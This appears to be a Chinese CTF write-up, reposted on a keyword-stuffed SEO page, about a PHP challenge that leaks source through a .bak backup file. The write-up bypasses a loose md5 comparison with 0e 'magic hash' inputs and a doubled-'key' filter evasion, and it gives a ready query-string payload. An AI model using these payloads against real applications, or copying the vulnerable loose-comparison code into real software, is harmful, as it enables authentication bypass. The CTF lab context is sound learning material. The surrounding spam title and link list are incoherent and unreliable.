当前位置: 首页 > wzjs >正文

石家庄网站建设是什么意思百度广告业务

石家庄网站建设是什么意思,百度广告业务,网站后台管理系统有哪些,做网站要好多钱##解题思路 首先看到题目说备份是个好习惯,说明可能存在备份文件泄露 用dirsearch或者其他的目录扫描工具扫一扫,发现两个网址状态码正常,其中一个刚好是.bak的备份文件 至于flag文件,无法读取源码,都是空的 下载备份…

##解题思路

首先看到题目说备份是个好习惯,说明可能存在备份文件泄露

用dirsearch或者其他的目录扫描工具扫一扫,发现两个网址状态码正常,其中一个刚好是.bak的备份文件

至于flag文件,无法读取源码,都是空的

下载备份文件后,得到一串后端的逻辑

逻辑如下:

  1. 用 include_once 语句包含 "flag.php" 文件。该文件应包含变量 $flag,用于存储标志(flag)

  1. ini_set函数表示将 PHP 的错误显示设置为 0,即不显示错误信息

  1. 代码从 $_SERVER['REQUEST_URI'] 中获取 URL 的参数部分,去掉第一个字符 ?

  1. 用 str_replace 函数将参数中的 ’key’ 替换为空字符串。接着使用 parse_str 函数将参数解析为变量。

  1. 用 md5 函数对 $key1 和 $key2 进行哈希运算,并通过echo语句输出结果。

  1. 用条件语句判断 $key1 和 $key2 的哈希值是否相等,且 $key1、$key2不相等。

  2. 如满足条件,则通过 echo 语句输出 $flag 变量的值和一段文字

<?php
/*** Created by PhpStorm.* User: Norse* Date: 2017/8/6* Time: 20:22
*/
​
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
​
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){echo $flag."取得flag";
}
?>

那么知道规则了就应该知道怎么绕过了,这就需要用到php的弱类型比较,这里是网上常见的输入值和md5值

纯数字类:
s878926199a
0e545993274517709034328855841020
​
s155964671a
0e342768416822451524974117254469
​
s214587387a
0e848240448830537924465865611904
​
s214587387a
0e848240448830537924465865611904
​
s878926199a
0e545993274517709034328855841020
​
s1091221200a
0e940624217856561557816327384675
​
s1885207154a
0e509367213418206700842008763514
​
s1502113478a
0e861580163291561247404381396064
​
s1885207154a
0e509367213418206700842008763514
​
s1836677006a
0e481036490867661113260034900752
​
s155964671a
0e342768416822451524974117254469
​
s1184209335a
0e072485820392773389523109082030
​
s1665632922a
0e731198061491163073197128363787
​
s1502113478a
0e861580163291561247404381396064
​
s1836677006a
0e481036490867661113260034900752
​
s1091221200a
0e940624217856561557816327384675
​
s155964671a
0e342768416822451524974117254469
​
s1502113478a
0e861580163291561247404381396064
​
s155964671a
0e342768416822451524974117254469
​
s1665632922a
0e731198061491163073197128363787
​
s155964671a
0e342768416822451524974117254469
​
s1091221200a
0e940624217856561557816327384675
​
s1836677006a
0e481036490867661113260034900752
​
s1885207154a
0e509367213418206700842008763514
​
s532378020a
0e220463095855511507588041205815
​
s878926199a
0e545993274517709034328855841020
​
s1091221200a
0e940624217856561557816327384675
​
s214587387a
0e848240448830537924465865611904
​
s1502113478a
0e861580163291561247404381396064
​
s1091221200a
0e940624217856561557816327384675
​
s1665632922a
0e731198061491163073197128363787
​
s1885207154a
0e509367213418206700842008763514
​
s1836677006a
0e481036490867661113260034900752
​
s1665632922a
0e731198061491163073197128363787
​
s878926199a
0e545993274517709034328855841020大写字母类:
QLTHNDT
0e405967825401955372549139051580QNKCDZO
0e830400451993494058024219903391EEIZDOI
0e782601363539291779881938479162TUFEPMC
0e839407194569345277863905212547UTIPEZQ
0e382098788231234954670291303879UYXFLOI
0e552539585246568817348686838809IHKFRNS
0e256160682445802696926137988570PJNPDWY
0e291529052894702774557631701704ABJIHVY
0e755264355178451322893275696586DQWRASX
0e742373665639232907775599582643DYAXWCA
0e424759758842488633464374063001GEGHBXL
0e248776895502908863709684713578GGHMVOE
0e362766013028313274586933780773GZECLQZ
0e537612333747236407713628225676NWWKITQ
0e763082070976038347657360817689NOOPCJF
0e818888003657176127862245791911MAUXXQC
0e478478466848439040434801845361MMHUWUV
0e701732711630150438129209816536

接下来就是自由组合环节,随便哪个payload都可以kkeyey1=s878926199a&kkeyey2=s155964671a

http://www.dtcms.com/wzjs/42796.html

相关文章:

  • 网站开发 价格西安关键词排名提升
  • 网站建设案例基本流程外贸网站建设报价
  • 各类武汉手机网站建设佛山百度快照优化排名
  • 手机摄影网站首页百度应用市场app下载
  • 在线搭建网站南宁百度推广代理公司
  • 网站建设1993seo优化营商环境指什么
  • 网站商城开发公司东莞优化网站制作
  • 政府网站监管怎么做金戈西地那非片
  • 山东鸿泰建设集团有限公司网站域名查询
  • 个人网站可以做商业吗seo优化技术厂家
  • wordpress怎么修改cssseo实战培训机构
  • 网站建设空间什么意思广州网络推广策划公司
  • wordpress怎么修改后台菜单seo排名赚app靠谱吗
  • 这么做国外网站的国内镜像站百度小程序优化
  • 搜索引擎优化的目标体系包括哪些seo流程
  • 做设计有哪些地图网站武汉网站制作推广
  • 广州做网站的公司vi设计公司
  • 哪些网站是django做的如何宣传推广产品
  • dedecms做的网站收费吗热门推广平台
  • 大连网站建设 青鸟传媒互联网营销外包公司
  • 淘宝网站建设类目需要什么资质嘉兴seo外包公司
  • 合肥做兼职网站设计永久不收费的软件app
  • 深圳做公司网站上海百度提升优化
  • 怎么利用花生壳做自己的网站成都百度推广账户优化
  • dreamweaver怎么制作网站app推广代理
  • 移动互联网技术网站百度推广怎么使用教程
  • 贵阳做网站好的公司360推广联盟
  • 如何做一份企业网站seo引擎优化服务
  • 如何使用seo进行综合查询seo作弊
  • 取名网站开发百度免费发布信息平台